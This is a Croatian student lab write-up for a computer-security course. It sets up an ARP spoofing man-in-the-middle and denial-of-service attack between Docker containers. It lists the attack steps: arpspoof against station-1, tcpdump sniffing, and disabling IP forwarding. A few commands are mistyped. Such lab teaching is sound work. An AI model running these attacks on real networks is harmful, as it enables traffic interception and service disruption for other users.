Sigurnost računala i podataka - Lab 1.

Pomoću ranjivosti ARP protokola izvodimo napad “man in the middle” i denial of service” na računala koja su dio iste lokalne mreže. Na Dockeru stvorimo 3 virtualna računala na kojima su

- dvije žrtve: station_1 i station_2,
- te jedan napadač: evil_station

Pozicioniramo se u određeni direktorij i kloniramo repozitorij:

- git clone https://github.com/mcagalj/SRP-2022-23

Ulazimo u novi direktorij:

- cd SRP-2022-23/arp-spoofing/
- u njemu se nalaze datoteke star.sh i stop.sh s kojim apokrećemo/zaustavlajmo virtualne mašine

Pokretanje shella (station 1):

- $ docker ps exec -it sh

Provjera informacija (IP i ethernet adr koja nan treba za daljnje korištenje)

- $ ifconfig -a

Tražimo povratnu informaciju od station-2 (da vidimo je li u istoj mreži):

- $ ping station-2

Pokretanje shella (station-2):

- $ docker exec -it station-2 sh

Ostvarivanje komunikacije između station-1 i station-2:

- $ netcat -lp 8080
- $ netcat station-1 8080

Pokretanje shella (evil-station):

- $ docker exec -it evil-station sh

U evil-stationu pokrećemo napad:

- $ arpspoof -i eth0 -t station-1 station-2
- station-1 se predstavlja ka station-2

Filtriramo promet pomoću:

- $ tcpdump

Gasimo proslijeđivanje podataka pomoću:

- $ echo 0 > /proc/sys/net/ipv4/ip_forward